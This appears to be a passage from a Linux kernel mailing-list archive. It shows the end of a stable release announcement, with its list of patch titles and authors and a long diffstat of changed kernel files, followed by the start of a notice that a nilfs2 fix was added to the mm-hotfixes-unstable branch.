Yang Yingliang <yangyingliang(a)huawei.com>
wifi: rtlwifi: rtl8188ee: don't call kfree_skb() under spin_lock_irqsave()
Yang Yingliang <yangyingliang(a)huawei.com>
wifi: rtlwifi: rtl8821ae: don't call kfree_skb() under spin_lock_irqsave()
Yuan Can <yuancan(a)huawei.com>
wifi: rsi: Fix memory leak in rsi_coex_attach()
Martin K. Petersen <martin.petersen(a)oracle.com>
block: bio-integrity: Copy flags when bio_integrity_payload is cloned
silviazhao <silviazhao-oc(a)zhaoxin.com>
x86/perf/zhaoxin: Add stepping check for ZXC
Pietro Borrello <borrello(a)diag.uniroma1.it>
sched/rt: pick_next_rt_entity(): check list_entry
Dietmar Eggemann <dietmar.eggemann(a)arm.com>
sched/deadline,rt: Remove unused parameter from pick_next_[rt|dl]_entity()
Qiheng Lin <linqiheng(a)huawei.com>
s390/dasd: Fix potential memleak in dasd_eckd_init()
Jan Höppner <hoeppner(a)linux.ibm.com>
s390/dasd: Prepare for additional path event handling
Kemeng Shi <shikemeng(a)huaweicloud.com>
blk-mq: correct stale comment of .get_budget
Kemeng Shi <shikemeng(a)huaweicloud.com>
blk-mq: remove stale comment for blk_mq_sched_mark_restart_hctx
Kemeng Shi <shikemeng(a)huaweicloud.com>
blk-mq: avoid sleep in blk_mq_alloc_request_hctx
AngeloGioacchino Del Regno <angelogioacchino.delregno(a)collabora.com>
arm64: dts: mediatek: mt7622: Add missing pwm-cells to pwm node
Peng Fan <peng.fan(a)nxp.com>
ARM: dts: imx7s: correct iomuxc gpr mux controller cells
Samuel Holland <samuel(a)sholland.org>
ARM: dts: sun8i: nanopi-duo2: Fix regulator GPIO reference
Adam Ford <aford173(a)gmail.com>
arm64: dts: renesas: beacon-renesom: Fix gpio expander reference
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gxbb-kii-pro: fix led node name
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gxl-s905d-phicomm-n1: fix led node name
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gx-libretech-pc: fix update button name
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gxl: add missing unit address to eth-phy-mux node name
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gx: add missing unit address to rng node name
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gxl-s905d-sml5442tw: drop invalid clock-names property
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gx: add missing SCPI sensors compatible
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-axg: fix SCPI clock dvfs node name
Neil Armstrong <neil.armstrong(a)linaro.org>
arm64: dts: amlogic: meson-gx: fix SCPI clock dvfs node name
Angus Chen <angus.chen(a)jaguarmicro.com>
ARM: imx: Call ida_simple_remove() for ida_simple_get
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct wr-active property in Exynos3250 Rinato
Vaishnav Achath <vaishnav.a(a)ti.com>
arm64: dts: ti: k3-j7200: Fix wakeup pinmux range
Arnd Bergmann <arnd(a)arndb.de>
ARM: s3c: fix s3c64xx_set_timer_source prototype
Yang Yingliang <yangyingliang(a)huawei.com>
ARM: OMAP1: call platform_device_put() in error case in omap1_dm_timer_init()
Christian Hewitt <christianshewitt(a)gmail.com>
arm64: dts: meson: remove CPU opps below 1GHz for G12A boards
Robert Marko <robimarko(a)gmail.com>
arm64: dts: qcom: ipq8074: correct PCIe QMP PHY output clock names
Robert Marko <robimarko(a)gmail.com>
arm64: dts: qcom: ipq8074: fix Gen3 PCIe node
Robert Marko <robimarko(a)gmail.com>
arm64: dts: qcom: ipq8074: correct Gen2 PCIe ranges
Robert Marko <robimarko(a)gmail.com>
arm64: dts: qcom: ipq8074: fix Gen3 PCIe QMP PHY
Johan Hovold <johan+linaro(a)kernel.org>
arm64: dts: qcom: ipq8074: fix PCIe PHY serdes size
Shawn Guo <shawn.guo(a)linaro.org>
arm64: dts: qcom: Fix IPQ8074 PCIe PHY nodes
Robert Marko <robimarko(a)gmail.com>
arm64: dts: qcom: ipq8074: correct USB3 QMP PHY-s clock output names
Martin Blumenstingl <martin.blumenstingl(a)googlemail.com>
arm64: dts: meson-gx: Fix the SCPI DVFS node name and unit address
Martin Blumenstingl <martin.blumenstingl(a)googlemail.com>
arm64: dts: meson-g12a: Fix internal Ethernet PHY unit name
Martin Blumenstingl <martin.blumenstingl(a)googlemail.com>
arm64: dts: meson-gx: Fix Ethernet MAC address unit name
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sc7180: correct SPMI bus address cells
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sdm845-db845c: fix audio codec interrupt pin name
Chen-Yu Tsai <wenst(a)chromium.org>
arm64: dts: mediatek: mt8183: Fix systimer 13 MHz clock description
Qiheng Lin <linqiheng(a)huawei.com>
ARM: zynq: Fix refcount leak in zynq_early_slcr_init
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
arm64: dts: qcom: qcs404: use symbol names for PCIe resets
Chen Hui <judy.chenhui(a)huawei.com>
ARM: OMAP2+: Fix memory leak in realtime_counter_init()
Anders Roxell <anders.roxell(a)linaro.org>
powerpc/mm: Rearrange if-else block to avoid clang warning
Pietro Borrello <borrello(a)diag.uniroma1.it>
HID: asus: use spinlock to safely schedule workers
Pietro Borrello <borrello(a)diag.uniroma1.it>
HID: asus: use spinlock to protect concurrent accesses
Luke D. Jones <luke(a)ljones.dev>
HID: asus: Remove check for same LED brightness on set
-------------
Diffstat:
Documentation/ABI/testing/configfs-usb-gadget-uvc | 2 +-
Documentation/admin-guide/cgroup-v1/memory.rst | 13 +-
Documentation/admin-guide/hw-vuln/spectre.rst | 21 +-
Documentation/admin-guide/kdump/gdbmacros.txt | 2 +-
Documentation/dev-tools/gdb-kernel-debugging.rst | 4 +
.../bindings/sound/amlogic,gx-sound-card.yaml | 2 +-
Documentation/virt/kvm/api.rst | 18 +-
Documentation/virt/kvm/devices/vm.rst | 4 +
Makefile | 15 +-
arch/alpha/boot/tools/objstrip.c | 2 +-
arch/alpha/kernel/traps.c | 30 +-
arch/arm/boot/dts/exynos3250-rinato.dts | 2 +-
arch/arm/boot/dts/exynos4-cpu-thermal.dtsi | 2 +-
arch/arm/boot/dts/exynos4.dtsi | 2 +-
arch/arm/boot/dts/exynos4210.dtsi | 1 -
arch/arm/boot/dts/exynos5250.dtsi | 2 +-
arch/arm/boot/dts/exynos5410-odroidxu.dts | 1 -
arch/arm/boot/dts/exynos5420.dtsi | 2 +-
arch/arm/boot/dts/exynos5422-odroidhc1.dts | 10 +-
arch/arm/boot/dts/exynos5422-odroidxu3-common.dtsi | 10 +-
arch/arm/boot/dts/imx7s.dtsi | 2 +-
arch/arm/boot/dts/spear320-hmi.dts | 2 +-
arch/arm/boot/dts/sun8i-h3-nanopi-duo2.dts | 2 +-
arch/arm/mach-imx/mmdc.c | 24 +-
arch/arm/mach-omap1/timer.c | 2 +-
arch/arm/mach-omap2/timer.c | 1 +
arch/arm/mach-s3c/s3c64xx.c | 3 +-
arch/arm/mach-zynq/slcr.c | 1 +
arch/arm64/boot/dts/amlogic/meson-axg.dtsi | 4 +-
arch/arm64/boot/dts/amlogic/meson-g12-common.dtsi | 2 +-
arch/arm64/boot/dts/amlogic/meson-g12a.dtsi | 20 -
.../boot/dts/amlogic/meson-gx-libretech-pc.dtsi | 2 +-
arch/arm64/boot/dts/amlogic/meson-gx.dtsi | 6 +-
arch/arm64/boot/dts/amlogic/meson-gxbb-kii-pro.dts | 2 +-
.../dts/amlogic/meson-gxl-s905d-phicomm-n1.dts | 2 +-
.../boot/dts/amlogic/meson-gxl-s905d-sml5442tw.dts | 1 -
arch/arm64/boot/dts/amlogic/meson-gxl.dtsi | 2 +-
arch/arm64/boot/dts/mediatek/mt7622.dtsi | 1 +
arch/arm64/boot/dts/mediatek/mt8183.dtsi | 12 +-
arch/arm64/boot/dts/qcom/ipq8074.dtsi | 93 +-
arch/arm64/boot/dts/qcom/qcs404.dtsi | 12 +-
arch/arm64/boot/dts/qcom/sc7180.dtsi | 4 +-
arch/arm64/boot/dts/qcom/sdm845-db845c.dts | 2 +-
.../boot/dts/renesas/beacon-renesom-baseboard.dtsi | 24 +-
.../boot/dts/ti/k3-j7200-common-proc-board.dts | 2 +-
arch/arm64/boot/dts/ti/k3-j7200-mcu-wakeup.dtsi | 29 +-
arch/m68k/68000/entry.S | 2 +
arch/m68k/Kconfig.devices | 1 +
arch/m68k/coldfire/entry.S | 2 +
arch/m68k/kernel/entry.S | 3 +
arch/mips/include/asm/syscall.h | 2 +-
arch/mips/include/asm/vpe.h | 1 -
arch/mips/kernel/smp-cps.c | 8 +-
arch/mips/kernel/vpe-mt.c | 7 +-
arch/mips/lantiq/prom.c | 6 -
arch/powerpc/Makefile | 2 +-
arch/powerpc/kernel/eeh_driver.c | 71 +-
arch/powerpc/kernel/rtas.c | 24 +-
arch/powerpc/mm/book3s64/radix_tlb.c | 11 +-
arch/powerpc/perf/hv-24x7.c | 42 +-
arch/powerpc/platforms/powernv/pci-ioda.c | 3 +-
arch/powerpc/platforms/pseries/lpar.c | 20 +-
arch/powerpc/platforms/pseries/lparcfg.c | 20 +-
arch/riscv/include/asm/jump_label.h | 2 +
arch/riscv/include/asm/parse_asm.h | 2 +-
arch/riscv/kernel/time.c | 3 +
arch/s390/kernel/kprobes.c | 4 +-
arch/s390/kernel/vmlinux.lds.S | 1 +
arch/s390/kvm/kvm-s390.c | 17 +
arch/s390/mm/extmem.c | 12 +-
arch/s390/mm/vmem.c | 6 +-
arch/sparc/Kconfig | 2 +-
arch/um/drivers/vector_kern.c | 1 +
arch/x86/Kconfig | 15 +-
arch/x86/crypto/ghash-clmulni-intel_glue.c | 6 +-
arch/x86/events/zhaoxin/core.c | 8 +-
arch/x86/include/asm/microcode.h | 4 +-
arch/x86/include/asm/microcode_amd.h | 4 +-
arch/x86/include/asm/msr-index.h | 4 +
arch/x86/include/asm/processor.h | 6 +-
arch/x86/include/asm/reboot.h | 2 +
arch/x86/include/asm/resctrl.h | 19 +-
arch/x86/include/asm/virtext.h | 16 +-
arch/x86/kernel/cpu/bugs.c | 35 +-
arch/x86/kernel/cpu/common.c | 75 +-
arch/x86/kernel/cpu/microcode/amd.c | 53 +-
arch/x86/kernel/cpu/microcode/core.c | 148 +---
arch/x86/kernel/cpu/resctrl/rdtgroup.c | 14 +-
arch/x86/kernel/crash.c | 17 +-
arch/x86/kernel/kprobes/opt.c | 6 +-
arch/x86/kernel/process.c | 2 +-
arch/x86/kernel/process_32.c | 2 +-
arch/x86/kernel/process_64.c | 2 +-
arch/x86/kernel/reboot.c | 88 +-
arch/x86/kernel/smp.c | 6 +-
arch/x86/kernel/smpboot.c | 3 +-
arch/x86/kernel/sysfb_efi.c | 8 +
arch/x86/kernel/traps.c | 4 +-
arch/x86/kvm/lapic.c | 10 +-
arch/x86/um/vdso/um_vdso.c | 12 +-
block/bio-integrity.c | 1 +
block/blk-iocost.c | 11 +-
block/blk-mq-sched.c | 7 +-
block/blk-mq.c | 3 +-
crypto/essiv.c | 7 +-
crypto/rsa-pkcs1pad.c | 34 +-
crypto/seqiv.c | 2 +-
crypto/xts.c | 8 +-
drivers/acpi/acpica/Makefile | 2 +-
drivers/acpi/acpica/hwvalid.c | 7 +-
drivers/acpi/acpica/nsrepair.c | 12 +-
drivers/acpi/battery.c | 2 +-
drivers/acpi/video_detect.c | 2 +-
drivers/block/brd.c | 26 +-
drivers/block/loop.c | 8 +-
drivers/block/rbd.c | 20 +-
drivers/bluetooth/btusb.c | 4 +
drivers/char/ipmi/ipmi_ssif.c | 46 +-
drivers/clk/clk.c | 11 +
drivers/clk/imx/clk.c | 3 +-
drivers/clk/qcom/gcc-qcs404.c | 24 +-
drivers/clk/qcom/gpucc-sc7180.c | 7 +-
drivers/clk/qcom/gpucc-sdm845.c | 7 +-
drivers/clk/renesas/renesas-cpg-mssr.c | 8 +-
drivers/crypto/amcc/crypto4xx_core.c | 10 +-
drivers/crypto/ccp/ccp-dmaengine.c | 21 +-
drivers/crypto/ccp/sev-dev.c | 185 ++--
drivers/crypto/ccp/sev-dev.h | 1 -
drivers/crypto/hisilicon/sgl.c | 3 +-
drivers/dax/bus.c | 2 +-
drivers/dax/kmem.c | 4 +-
drivers/firmware/google/framebuffer-coreboot.c | 4 +-
drivers/gpio/gpio-vf610.c | 2 +-
drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 6 +-
drivers/gpu/drm/amd/display/dc/core/dc.c | 1 +
.../amd/display/dc/dml/dcn20/display_mode_vba_20.c | 8 +-
.../display/dc/dml/dcn20/display_mode_vba_20v2.c | 10 +-
.../amd/display/dc/dml/dcn21/display_mode_vba_21.c | 12 +-
drivers/gpu/drm/arm/malidp_planes.c | 2 +-
drivers/gpu/drm/bridge/lontium-lt9611.c | 65 +-
.../drm/bridge/megachips-stdpxxxx-ge-b850v3-fw.c | 6 +-
drivers/gpu/drm/drm_dp_mst_topology.c | 5 +-
drivers/gpu/drm/drm_edid.c | 21 +-
drivers/gpu/drm/drm_fourcc.c | 4 +
drivers/gpu/drm/drm_mipi_dsi.c | 52 ++
drivers/gpu/drm/drm_mode_config.c | 8 +-
drivers/gpu/drm/drm_panel_orientation_quirks.c | 6 +
drivers/gpu/drm/i915/display/intel_quirks.c | 2 +
drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 2 +
drivers/gpu/drm/mediatek/mtk_drm_drv.c | 1 +
drivers/gpu/drm/mediatek/mtk_drm_gem.c | 4 +-
drivers/gpu/drm/mediatek/mtk_dsi.c | 2 +-
drivers/gpu/drm/msm/adreno/adreno_gpu.c | 4 +-
drivers/gpu/drm/msm/disp/dpu1/dpu_crtc.c | 7 +-
drivers/gpu/drm/msm/disp/dpu1/dpu_rm.c | 5 +
drivers/gpu/drm/msm/disp/mdp5/mdp5_crtc.c | 5 +-
drivers/gpu/drm/msm/dsi/dsi_host.c | 3 +
drivers/gpu/drm/msm/hdmi/hdmi.c | 4 +
drivers/gpu/drm/msm/msm_fence.c | 2 +-
drivers/gpu/drm/mxsfb/Kconfig | 1 +
drivers/gpu/drm/omapdrm/dss/dsi.c | 26 +-
drivers/gpu/drm/radeon/atombios_encoders.c | 5 +-
drivers/gpu/drm/radeon/radeon_device.c | 1 +
drivers/gpu/drm/tidss/tidss_dispc.c | 4 +-
drivers/gpu/drm/tiny/ili9486.c | 13 +-
drivers/gpu/drm/vc4/vc4_dpi.c | 66 +-
drivers/gpu/drm/vc4/vc4_hdmi.c | 5 +-
drivers/gpu/drm/vc4/vc4_hvs.c | 11 +
drivers/gpu/drm/vc4/vc4_plane.c | 2 +
drivers/gpu/drm/vc4/vc4_regs.h | 6 +
drivers/gpu/drm/virtio/virtgpu_object.c | 3 +-
drivers/gpu/drm/vkms/vkms_drv.c | 3 +-
drivers/gpu/host1x/hw/syncpt_hw.c | 3 -
drivers/gpu/ipu-v3/ipu-common.c | 1 +
drivers/hid/hid-asus.c | 38 +-
drivers/hid/hid-bigbenff.c | 75 +-
drivers/hid/hid-debug.c | 1 +
drivers/hid/hid-input.c | 8 +
drivers/hid/hid-logitech-hidpp.c | 32 +-
drivers/hwmon/coretemp.c | 128 ++-
drivers/hwmon/ltc2945.c | 2 +
drivers/hwmon/mlxreg-fan.c | 6 +
drivers/iio/accel/mma9551_core.c | 10 +-
drivers/infiniband/hw/hfi1/chip.c | 59 +-
drivers/input/misc/iqs269a.c | 327 +++----
drivers/input/touchscreen/ads7846.c | 473 +++++-----
drivers/irqchip/irq-alpine-msi.c | 1 +
drivers/irqchip/irq-bcm7120-l2.c | 3 +-
drivers/irqchip/irq-brcmstb-l2.c | 6 +-
drivers/irqchip/irq-mvebu-gicp.c | 1 +
drivers/irqchip/irq-ti-sci-intr.c | 1 +
drivers/irqchip/irqchip.c | 8 +-
drivers/leds/led-class.c | 6 +-
drivers/md/dm-cache-target.c | 4 +
drivers/md/dm-flakey.c | 30 +-
drivers/md/dm-thin.c | 2 +
drivers/md/dm.c | 2 +-
drivers/media/i2c/imx219.c | 257 +++---
drivers/media/i2c/max9286.c | 1 +
drivers/media/i2c/ov2740.c | 4 +-
drivers/media/i2c/ov5675.c | 4 +-
drivers/media/i2c/ov7670.c | 2 +-
drivers/media/i2c/ov772x.c | 3 +-
drivers/media/pci/intel/ipu3/ipu3-cio2.c | 3 +
drivers/media/pci/saa7134/saa7134-core.c | 2 +-
drivers/media/platform/omap3isp/isp.c | 9 +
drivers/media/platform/ti-vpe/cal.c | 4 +-
drivers/media/rc/ene_ir.c | 3 +-
drivers/media/usb/siano/smsusb.c | 1 +
drivers/media/usb/uvc/uvc_ctrl.c | 30 +-
drivers/media/usb/uvc/uvc_driver.c | 66 +-
drivers/media/usb/uvc/uvc_entity.c | 2 +-
drivers/media/usb/uvc/uvc_status.c | 40 +-
drivers/media/usb/uvc/uvc_video.c | 15 +-
drivers/media/usb/uvc/uvcvideo.h | 6 +-
drivers/mfd/arizona-core.c | 2 +-
drivers/mfd/pcf50633-adc.c | 7 +-
drivers/misc/mei/bus-fixup.c | 8 +-
drivers/mtd/nand/raw/sunxi_nand.c | 2 +-
drivers/mtd/spi-nor/core.c | 9 +
drivers/mtd/spi-nor/core.h | 1 +
drivers/mtd/spi-nor/sfdp.c | 4 +-
drivers/mtd/ubi/build.c | 7 +
drivers/mtd/ubi/fastmap-wl.c | 12 +-
drivers/mtd/ubi/vmt.c | 18 +-
drivers/mtd/ubi/wl.c | 25 +-
drivers/net/can/usb/esd_usb2.c | 4 +-
drivers/net/ethernet/broadcom/genet/bcmgenet.c | 8 +
drivers/net/ethernet/broadcom/genet/bcmmii.c | 11 +-
drivers/net/ethernet/intel/ice/ice_main.c | 17 +-
.../ethernet/mellanox/mlx5/core/diag/fw_tracer.c | 2 +-
.../net/ethernet/mellanox/mlx5/core/lib/geneve.c | 1 +
.../net/ethernet/mellanox/mlx5/core/pagealloc.c | 3 +-
drivers/net/ethernet/ti/am65-cpsw-nuss.c | 79 +-
drivers/net/tap.c | 2 +-
drivers/net/tun.c | 2 +-
drivers/net/wireless/ath/ath11k/core.h | 1 -
drivers/net/wireless/ath/ath11k/debugfs.c | 48 +-
drivers/net/wireless/ath/ath11k/dp_rx.c | 1 +
drivers/net/wireless/ath/ath9k/hif_usb.c | 62 +-
drivers/net/wireless/ath/ath9k/htc.h | 32 +-
drivers/net/wireless/ath/ath9k/htc_drv_init.c | 2 +
drivers/net/wireless/ath/ath9k/htc_drv_txrx.c | 10 +-
drivers/net/wireless/ath/ath9k/htc_hst.c | 4 +-
drivers/net/wireless/ath/ath9k/wmi.c | 1 +
.../wireless/broadcom/brcm80211/brcmfmac/common.c | 7 +-
.../wireless/broadcom/brcm80211/brcmfmac/core.c | 1 +
.../wireless/broadcom/brcm80211/brcmfmac/msgbuf.c | 5 +-
drivers/net/wireless/intel/ipw2x00/ipw2200.c | 11 +-
drivers/net/wireless/intel/iwlegacy/3945-mac.c | 16 +-
drivers/net/wireless/intel/iwlegacy/4965-mac.c | 12 +-
drivers/net/wireless/intel/iwlegacy/common.c | 4 +-
drivers/net/wireless/intersil/orinoco/hw.c | 2 +
drivers/net/wireless/marvell/libertas/cmdresp.c | 2 +-
drivers/net/wireless/marvell/libertas/if_usb.c | 2 +-
drivers/net/wireless/marvell/libertas/main.c | 3 +-
drivers/net/wireless/marvell/libertas_tf/if_usb.c | 2 +-
drivers/net/wireless/marvell/mwifiex/11n.c | 6 +-
drivers/net/wireless/mediatek/mt76/dma.c | 13 +-
drivers/net/wireless/mediatek/mt7601u/dma.c | 3 +-
drivers/net/wireless/microchip/wilc1000/netdev.c | 1 +
.../net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192e.c | 5 +
.../net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 19 +-
.../net/wireless/realtek/rtlwifi/rtl8188ee/hw.c | 6 +-
.../net/wireless/realtek/rtlwifi/rtl8723be/hw.c | 6 +-
.../net/wireless/realtek/rtlwifi/rtl8821ae/hw.c | 6 +-
.../net/wireless/realtek/rtlwifi/rtl8821ae/phy.c | 91 +-
.../net/wireless/realtek/rtlwifi/rtl8821ae/table.c | 4 +-
.../net/wireless/realtek/rtlwifi/rtl8821ae/table.h | 4 +-
drivers/net/wireless/rsi/rsi_91x_coex.c | 1 +
drivers/net/wireless/wl3501_cs.c | 2 +-
drivers/nfc/st-nci/se.c | 6 +
drivers/nfc/st21nfca/se.c | 6 +
drivers/opp/debugfs.c | 2 +-
drivers/pci/controller/pci-loongson.c | 71 +-
drivers/pci/pci.c | 12 +-
drivers/pci/pci.h | 43 +-
drivers/pci/quirks.c | 23 +
drivers/pci/setup-bus.c | 179 ++--
drivers/phy/rockchip/phy-rockchip-typec.c | 3 +-
drivers/pinctrl/bcm/pinctrl-bcm2835.c | 2 -
drivers/pinctrl/mediatek/pinctrl-paris.c | 4 +-
drivers/pinctrl/pinctrl-at91-pio4.c | 4 +-
drivers/pinctrl/pinctrl-at91.c | 2 +-
drivers/pinctrl/pinctrl-ingenic.c | 3 +
drivers/pinctrl/pinctrl-rockchip.c | 952 ++++++++-------------
drivers/pinctrl/qcom/pinctrl-msm8976.c | 8 +-
drivers/pinctrl/stm32/pinctrl-stm32.c | 1 +
drivers/powercap/powercap_sys.c | 14 +-
drivers/pwm/pwm-sifive.c | 16 +-
drivers/pwm/pwm-stm32-lp.c | 2 +-
drivers/regulator/max77802-regulator.c | 34 +-
drivers/regulator/s5m8767.c | 6 +-
drivers/remoteproc/mtk_scp_ipi.c | 11 +-
drivers/remoteproc/qcom_q6v5_mss.c | 59 +-
drivers/rpmsg/qcom_glink_native.c | 1 +
drivers/rtc/rtc-pm8xxx.c | 24 +-
drivers/rtc/rtc-sun6i.c | 16 +-
drivers/s390/block/dasd.c | 4 +-
drivers/s390/block/dasd_diag.c | 8 +-
drivers/s390/block/dasd_eckd.c | 82 +-
drivers/s390/block/dasd_fba.c | 8 +-
drivers/s390/block/dasd_int.h | 2 +-
drivers/scsi/aic94xx/aic94xx_task.c | 3 +
drivers/scsi/ipr.c | 41 +-
drivers/scsi/mpt3sas/mpt3sas_base.c | 23 +-
drivers/scsi/qla2xxx/qla_nvme.c | 19 +-
drivers/scsi/qla2xxx/qla_os.c | 9 +-
drivers/scsi/ses.c | 64 +-
drivers/soundwire/cadence_master.c | 43 +-
drivers/soundwire/cadence_master.h | 13 +-
drivers/spi/Kconfig | 1 -
drivers/spi/spi-bcm63xx-hsspi.c | 19 +-
drivers/spi/spi-synquacer.c | 7 +-
drivers/staging/emxx_udc/emxx_udc.c | 7 +-
drivers/thermal/hisi_thermal.c | 4 -
drivers/thermal/intel/Kconfig | 3 +-
drivers/thermal/intel/intel_powerclamp.c | 20 +-
drivers/thermal/intel/intel_quark_dts_thermal.c | 12 +-
drivers/thermal/intel/intel_soc_dts_iosf.c | 2 +-
drivers/thermal/qcom/tsens-v1.c | 63 +-
drivers/thermal/qcom/tsens.c | 6 +
drivers/thermal/qcom/tsens.h | 2 +-
drivers/tty/serial/fsl_lpuart.c | 24 +-
drivers/tty/serial/sc16is7xx.c | 51 +-
drivers/tty/tty_io.c | 8 +-
drivers/tty/vt/vc_screen.c | 4 +-
drivers/usb/gadget/function/uvc_configfs.c | 59 +-
drivers/usb/host/xhci-mvebu.c | 2 +-
drivers/usb/storage/ene_ub6250.c | 2 +-
drivers/vdpa/mlx5/core/mr.c | 1 -
drivers/vfio/vfio_iommu_type1.c | 41 +-
drivers/watchdog/at91sam9_wdt.c | 7 +-
drivers/watchdog/pcwd_usb.c | 6 +-
drivers/watchdog/watchdog_dev.c | 2 +-
fs/cifs/smb2ops.c | 13 +-
fs/cifs/smbdirect.c | 4 +-
fs/coda/upcall.c | 2 +-
fs/exfat/dir.c | 7 +-
fs/exfat/exfat_fs.h | 2 +-
fs/exfat/file.c | 3 +-
fs/exfat/inode.c | 6 +-
fs/exfat/namei.c | 2 +-
fs/exfat/super.c | 3 +-
fs/ext4/xattr.c | 35 +-
fs/f2fs/data.c | 6 +-
fs/f2fs/inline.c | 28 +-
fs/f2fs/super.c | 11 +-
fs/f2fs/verity.c | 12 +-
fs/gfs2/aops.c | 3 +-
fs/gfs2/super.c | 8 +-
fs/hfs/bnode.c | 1 +
fs/hfsplus/super.c | 4 +-
fs/jbd2/transaction.c | 50 +-
fs/jfs/jfs_dmap.c | 3 +-
fs/nfs/file.c | 15 +-
fs/nfs/inode.c | 6 +-
fs/nfs/nfs4_fs.h | 1 +
fs/nfs/nfs4proc.c | 22 +
fs/nfs/nfs4state.c | 40 +-
fs/nfs/nfs4trace.h | 42 +-
fs/nfsd/nfs4layouts.c | 4 +-
fs/nfsd/nfs4proc.c | 2 +
fs/ocfs2/move_extents.c | 34 +-
fs/ubifs/budget.c | 9 +-
fs/ubifs/dir.c | 9 +-
fs/ubifs/file.c | 12 +-
fs/ubifs/super.c | 17 +-
fs/ubifs/tnc.c | 24 +-
fs/ubifs/ubifs.h | 5 +
fs/udf/file.c | 26 +-
fs/udf/inode.c | 74 +-
fs/udf/super.c | 1 +
fs/udf/udf_i.h | 3 +-
fs/udf/udf_sb.h | 2 +
include/drm/drm_mipi_dsi.h | 4 +
include/linux/bootconfig.h | 2 +-
include/linux/ima.h | 6 +-
include/linux/kernel.h | 2 +
include/linux/kernel_stat.h | 2 +-
include/linux/kprobes.h | 2 +
include/linux/nfs_xdr.h | 2 +
include/linux/pci.h | 1 +
include/linux/pci_ids.h | 2 +
include/linux/rcupdate.h | 11 +-
include/linux/uaccess.h | 4 +
include/net/sctp/structs.h | 1 +
include/net/sock.h | 7 +-
include/sound/soc-dapm.h | 1 +
include/uapi/linux/usb/video.h | 30 +
include/uapi/linux/uvcvideo.h | 2 +-
io_uring/io_uring.c | 41 +-
kernel/bpf/btf.c | 13 +-
kernel/fail_function.c | 5 +-
kernel/irq/irqdomain.c | 31 +-
kernel/kprobes.c | 6 +-
kernel/pid_namespace.c | 17 +
kernel/power/energy_model.c | 5 +-
kernel/rcu/tasks.h | 64 +-
kernel/rcu/tree_exp.h | 2 +
kernel/resource.c | 14 -
kernel/sched/deadline.c | 5 +-
kernel/sched/rt.c | 10 +-
kernel/time/clocksource.c | 45 +-
kernel/time/hrtimer.c | 2 +
kernel/time/posix-stubs.c | 2 +
kernel/time/posix-timers.c | 2 +
kernel/trace/ring_buffer.c | 49 +-
lib/errname.c | 22 +-
lib/mpi/mpicoder.c | 3 +-
mm/huge_memory.c | 3 +
mm/memcontrol.c | 4 +
net/9p/trans_rdma.c | 15 +-
net/9p/trans_xen.c | 48 +-
net/bluetooth/hci_sock.c | 11 +-
net/bluetooth/l2cap_core.c | 24 -
net/bluetooth/l2cap_sock.c | 8 +
net/bridge/netfilter/ebtables.c | 2 +-
net/core/dev.c | 4 +-
net/core/sock.c | 15 +-
net/ipv4/inet_connection_sock.c | 1 +
net/ipv4/inet_hashtables.c | 12 +-
net/ipv4/netfilter/ip_tables.c | 3 +-
net/ipv4/tcp_minisocks.c | 7 +-
net/ipv6/netfilter/ip6_tables.c | 3 +-
net/ipv6/route.c | 11 +-
net/l2tp/l2tp_ppp.c | 125 +--
net/mac80211/sta_info.c | 2 +-
net/netfilter/nf_conntrack_netlink.c | 5 +-
net/nfc/netlink.c | 4 +
net/rds/message.c | 2 +-
net/sched/Kconfig | 11 -
net/sched/Makefile | 1 -
net/sched/act_sample.c | 11 +-
net/sched/cls_tcindex.c | 756 ----------------
net/sctp/stream_sched_prio.c | 52 +-
net/sunrpc/clnt.c | 4 +
net/tls/tls_sw.c | 26 +-
net/wireless/nl80211.c | 2 +-
net/wireless/sme.c | 31 +-
scripts/package/mkdebian | 2 +-
security/integrity/ima/ima_main.c | 7 +-
security/security.c | 7 +-
sound/pci/hda/patch_ca0132.c | 2 +-
sound/pci/hda/patch_realtek.c | 1 +
sound/pci/ice1712/aureon.c | 2 +-
sound/soc/atmel/mchp-spdifrx.c | 344 +++++---
sound/soc/atmel/mchp-spdiftx.c | 2 +-
sound/soc/atmel/tse850-pcm5142.c | 2 +-
sound/soc/codecs/Kconfig | 2 +-
sound/soc/codecs/adau7118.c | 19 +-
sound/soc/codecs/tlv320adcx140.c | 2 +-
sound/soc/fsl/fsl_sai.c | 1 +
sound/soc/kirkwood/kirkwood-dma.c | 2 +-
sound/soc/soc-compress.c | 2 +-
tools/bpf/bpftool/prog.c | 38 +-
tools/iio/iio_utils.c | 23 +-
tools/lib/bpf/btf.c | 13 +
tools/lib/bpf/nlattr.c | 2 +-
tools/objtool/check.c | 5 +
tools/perf/perf-completion.sh | 11 +-
tools/perf/util/llvm-utils.c | 25 +-
tools/testing/ktest/ktest.pl | 26 +-
tools/testing/ktest/sample.conf | 5 +
tools/testing/selftests/bpf/Makefile | 2 -
.../selftests/drivers/net/netdevsim/devlink.sh | 18 +
.../ftrace/test.d/ftrace/func_event_triggers.tc | 2 +-
tools/testing/selftests/net/fib_tests.sh | 2 +
tools/testing/selftests/net/udpgso_bench_rx.c | 6 +-
virt/kvm/coalesced_mmio.c | 8 +-
470 files changed, 4823 insertions(+), 4538 deletions(-)
2 years, 4 months
- 7
- 542
+ nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse.patch added to mm-hotfixes-unstable branch
by Andrew Morton
The patch titled
Subject: nilfs2: fix WARNING in mark_buffer_dirty due to discarded buffer reuse
has been added to the -mm mm-hotfixes-unstable branch. Its filename is
